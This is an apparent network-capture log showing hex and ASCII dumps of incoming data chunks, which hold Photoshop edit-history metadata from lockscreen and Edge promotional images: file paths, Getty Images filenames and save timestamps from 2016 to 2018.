2022-06-08 07:56:16 UTC 1189 IN Data Raw: 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 38 37 31 39 37 32 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 
70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 32 3a 35 30 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 
31 37 30 35 34 39 32 33 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 
30 37 2d 32 36 54 31 30 3a 35 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 
Data Ascii: yle_GettyImages-78719724_1080x1920.jpg saved&#xA;2016-07-26T10:52:50-07:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-170549235_1080x1920.jpg saved&#xA;2016-07-26
T10:54:06-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\E

2022-06-08 07:56:16 UTC 1230 IN Data Raw: 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 30 34 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 
41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 
64 67 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 30 31 31 39 30 37 35 5f 31 30 38 30 78 31 39 32 30 44 43 38 43 
41 41 44 42 34 35 38 36 42 44 31 41 46 36 42 31 32 33 37 46 43 45 39 41 35 34 41 41 2e 70 73 62 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 30 34 3a 34 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 
Data Ascii: 2016-07-26T18:04:27-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015
.5\AutoRecover\_Edge_GettyImages-140119075_1080x1920DC8CAADB4586BD1AF6B1237FCE9A54AA.psb s
aved&#xA;2016-07-26T18:04:47-07:00&#x9;File C:\Users\v-lizagh\MS\Wi

2022-06-08 07:56:16 UTC 1310 IN Data Raw: 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 
52 5f 76 34 5f 50 65 6e 5f 46 61 6d 69 6c 79 5f 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 33 38 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 
64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 
6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 34 37 43 43 43 38 41 46 35 46 33 43 46 
38 38 37 33 43 34 39 32 31 33 39 45 35 41 33 38 36 45 42 2e 70 
Data Ascii: s10\Surface\Juan\SurfacePen\Crops\SUR_v4_Pen_Family_5_1080x1920.jpg saved&#xA;2016-08-31
T13:38:53-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecov
er\_Lockscreen_1080x1920_Portrait47CCC8AF5F3CF8873C492139E5A386EB.p

2022-06-08 07:56:16 UTC 1400 IN Data Raw: 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 
72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 36 2d 31 30 2d 31 37 54 31 38 3a 32 37 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 53 75 72 67 65 5c 45 64 6
7 65 53 75 72 67 65 5f 35 30 30 70 78 2d 32 38 31 37 32 36 38 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 
64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 31 38 3a 32 38 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 
Data Ascii: :\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-10-17T18:27:42-07:0
0&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Surge\EdgeSurge_500px-2817268_1080x1920.psd saved&#xA;2016-
10-17T18:28:15-07:00&#x9;File C:\Users\v-lizagh\App

2022-06-08 07:56:16 UTC 1439 IN Data Raw: 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 
72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 34 33 3a 35 34 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 
72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 34 54 31 35 3a 35 33 3a 33 39 
2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 
74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2
e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 
Data Ascii: \Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-11-14T15:43:54-08:00&#x9;File Lockscre
en_1080x1920_Portrait.psd opened&#xA;2016-11-14T15:53:39-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adob
e\Adobe Photoshop CC 2015.5\AutoRecover\_Locksc

2022-06-08 07:56:16 UTC 1503 IN Data Raw: 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 4f 73 63 61 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 30 
38 39 32 34 38 30 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 
32 30 54 31 31 3a 31 31 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 
69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 4
5 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 72 75 61 72 79 5c 4f 53 43 41 52 53 5c 43 48 4f 53 45 4e 5c 43 72 6f 
70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 4f 73 63 61 72 73 5f 47 65 74 74 79 
49 6d 61 67 65 73 2d 31 35 30 38 39 32 34 38 30 5f 31 30 38 30 78 31 
Data Ascii: Entertainment-Oscars_GettyImages-150892480_1080x1920.psd saved&#xA;2017-01-20T11:11:50-0
8:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\February\OSCARS\CHOSE
N\Crops\MIT-WinterEntertainment-Oscars_GettyImages-150892480_1080x1
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2022-06-08 07:56:16 UTC 1567 IN Data Raw: 5c 4e 41 41 45 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 
49 6d 61 67 65 73 2d 31 34 39 34 32 33 30 32 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 30 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4e 41 41 45 45 5
c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 36 
39 38 34 30 31 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 
32 33 54 30 39 3a 34 30 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 
Data Ascii: \NAAEE\CHOSEN\Crops\Edge-NAAEE_GettyImages-149423024_1080x1920.jpg saved&#xA;2017-02-23T
09:40:17-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\NAAEE\CHOSEN\Crops\Edge-NAAEE_GettyImages-
176984017_1080x1920.jpg saved&#xA;2017-02-23T09:40:49-08:00&#x9;F

2022-06-08 07:56:16 UTC 1638 IN Data Raw: 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 31 3a 35 36 3a 31 31 2d 30 37 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 41 70 
72 69 6c 5c 4d 6f 76 69 65 73 54 56 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 41 70 
72 69 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 36 39 36 39 32 30 39 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 32 3a 30 38 3a 34 32 2d 30 37 3a 30 30 26 23 78 
39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
Data Ascii:  saved&#xA;2017-03-14T11:56:11-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringE
ntertainment\April\MoviesTV\CHOSEN\MIT-SpringEntmnt-April_GettyImages-476969209_1080x1920.psd saved&
#xA;2017-03-14T12:08:42-07:00&#x9;File C:\Users\v-lizagh\

2022-06-08 07:56:16 UTC 1718 IN Data Raw: 37 2d 30 34 2d 31 38 54 30 38 3a 32 39 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 
73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 
3b 32 30 31 37 2d 30 34 2d 31 38 54 31 30 3a 35 32 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 
55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 
70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 
54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 34 39 39 39 30 39 34 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 
20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 
Data Ascii: 7-04-18T08:29:33-07:00&#x9;File Lockscreen_1080x1920_Portrait.psd opened&#xA;2017-04-18T10:52:56-0
7:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringToo
ls_GettyImages-94999094_1080x1920.psd saved&#xA;2017-04-1

2022-06-08 07:56:16 UTC 1734 IN Data Raw: 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 
5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 38 35 34 
35 39 37 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 
54 31 35 3a 32 35 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 4
8 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 38 35 34 35 39 
37 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 
Data Ascii: gh\MS\Windows10\MattRequest\LinkedIn\CHOSEN\Crops\LinkedIn_GettyImages-138545975_1080x1920.psd 
saved&#xA;2017-05-15T15:25:51-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MattRequest\LinkedIn\CHOSEN
\Crops\LinkedIn_GettyImages-138545975_1080x1920.jpg saved

2022-06-08 07:56:16 UTC 1821 IN Data Raw: 2d 31 31 37 34 35 33 30 39 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 30 36 2d 30 36 54 31 32 3a 35 35 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 45 6e 7
4 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 5f 43 48 4f 53 45 4e 2d 55 4b 2d 4c 6f 63 6b 73 63 72 65 65 
6e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 37 37 
32 31 31 37 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 30 
36 54 31 33 3a 30 31 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 
Data Ascii: -117453098_1080x1920.jpg saved&#xA;2017-06-06T12:55:57-07:00&#x9;File C:\Users\v-lizagh\MS\Windows
10\MSrewards\Entertainment-General\_CHOSEN-UK-Lockscreen\Crops\Edge-MSRewards_GettyImages-157721178_
1080x1920.jpg saved&#xA;2017-06-06T13:01:27-07:00&#x9;Fil

2022-06-08 07:56:16 UTC 1885 IN Data Raw: 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 35 31 
32 39 33 37 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 
33 54 31 38 3a 34 35 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 
6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 
65 74 74 79 49 6d 61 67 65 73 2d 31 30 36 36 37 31 30 36 32 5f 31 30 38 30 78 31 39 32 30 43 39 43 30 46 32 30 45 45 
46 37 41 41 33 34 46 33 38 44 35 42 44 39 30 45 45 31 39 34 38 45 
Data Ascii: osen\Windows10-Tips_GettyImages-505129376_1080x1920.jpg saved&#xA;2017-07-13T18:45:24-07
:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Windows10-
Tips_GettyImages-106671062_1080x1920C9C0F20EEF7AA34F38D5BD90EE1948E

2022-06-08 07:56:16 UTC 1901 IN Data Raw: 30 54 31 37 3a 34 38 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 55 53 2d 4f 
70 65 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 53 6f 70 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 
31 34 37 32 36 37 31 37 32 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 38 2d 31 30 54 31 37 3a 35 37 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 55 53 2d 4f 
70 65 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 55 
Data Ascii: 0T17:48:50-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\US-Open\Chosen\Crops\MIT-
USopen_GettyImages-147267172_1080x1920.jpg saved&#xA;2017-08-10T17:57:19-07:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\MomentsInTime\US-Open\Chosen\Crops\MIT-U

2022-06-08 07:56:16 UTC 1980 IN Data Raw: 5c 43 72 6f 70 73 5c 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 2d 4e 6f 74 65 62 6f 6f 6b 5f 47 65 74 
74 79 49 6d 61 67 65 73 2d 35 33 31 36 30 37 37 37 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 
23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 36 3a 31 32 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 
43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 48 
65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 48 65 61 6c 74 68 79 4c 69 66 65 
73 74 79 6c 65 2d 4e 6f 74 65 62 6f 6f 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 39 39 31 30 31 38 32 33 5f 31 30 38 
30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
Data Ascii: \Crops\HealthyLifestyle-Notebook_GettyImages-531607773_1080x1920.jpg saved&#xA;2017-08-29T16:12:31
-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\HealthyLifestyle\Chosen\Crops\HealthyLifestyle-Notebook
_GettyImages-699101823_1080x1920.jpg saved&#xA;
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2022-06-08 07:56:16 UTC 2044 IN Data Raw: 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 
30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 32 
33 54 31 38 3a 34 37 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4
c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 38 5f 
41 65 72 69 61 6c 42 65 61 63 68 46 6f 72 6d 65 6e 74 65 72 61 53 70 61 69 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 3
4 37 37 37 34 34 33 36 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 
Data Ascii: v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2017-10-23T18:47:22-07:00&#x9;Fi
le C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch8\CHOSEN\Crops\Lock2017-B8_Aeri
alBeachFormenteraSpain_GettyImages-477744369_1080x1920.jp

2022-06-08 07:56:16 UTC 2108 IN Data Raw: 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 31 34 3a 
33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 
44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 
31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 50 61 70 61 72 6f 61 4e 50 4e 65 77 
5a 65 6c 61 6e 64 5f 35 30 30 70 78 2d 36 36 35 35 30 30 34 39 5f 31 30 38 30 78 31 39 32 30 37 42 39 34 38 34 42 38 3
4 44 41 37 41 44 38 38 41 35 32 45 38 36 42 44 35 42 39 38 31 39 30 38 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 32 33 3a 33 31 2d 30 38 3a 
Data Ascii: 920.jpg saved&#xA;2017-12-04T13:14:32-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe 
Photoshop CC 2017\AutoRecover\_Lock2017-B9_PaparoaNPNewZeland_500px-66550049_1080x19207B9484B84DA7A
D88A52E86BD5B981908.psb saved&#xA;2017-12-04T13:23:31-08:

2022-06-08 07:56:16 UTC 2139 IN Data Raw: 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 34 3a 32 31 3a 32 33 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 48 6f 6c 69 64 61 79 5c 48 6f 6c 69 64 61 79 32 30 31 37 5c 43 48 4f 53 45 
4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 48 6f 6c 69 64 61 79 32 30 31 37 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 33 36 38 
32 33 32 37 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 
34 54 31 34 3a 32 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 
7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 
Data Ascii: aved&#xA;2017-12-14T14:21:23-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Holiday\H
oliday2017\CHOSEN\Crops\MIT-Holiday2017_GettyImages-636823274_1080x1920.jpg saved&#xA;2017-12-14T14:
21:44-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Locks

2022-06-08 07:56:16 UTC 2203 IN Data Raw: 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 
6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 
30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 
34 32 34 33 31 34 39 36 36 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 36 3a 
30 31 3a 31 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 56 61 6c 65 6e 74 69 6e 65 73 44 61 7
9 5c 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 
Data Ascii: izagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_Po
rtraitEC99340B50F7D5720C969D4243149667.psb saved&#xA;2018-01-24T16:01:10-08:00&#x9;File C:\Users\v-l
izagh\MS\Windows10\MomentsInTime\ValentinesDay\2018\CHOSEN\Crops\MI

2022-06-08 07:56:16 UTC 2283 IN Data Raw: 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 31 54 31 36 3a 31 38 3a 
32 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 
44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 
31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 
74 72 61 69 74 45 43 39 39 33 34 30 42 35 30 46 37 44 35 37 32 30 43 39 36 39 44 34 32 34 33 31 34 39 36 36 37 2e 70 
73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 31 54 31 36 3a 32 30 3a 35 38 2d 30 38 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 
Data Ascii: 920.jpg saved&#xA;2018-02-21T16:18:26-08:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe 
Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitEC99340B50F7D5720C969D4243149667.psb sa
ved&#xA;2018-02-21T16:20:58-08:00&#x9;File C:\Users\v-liz

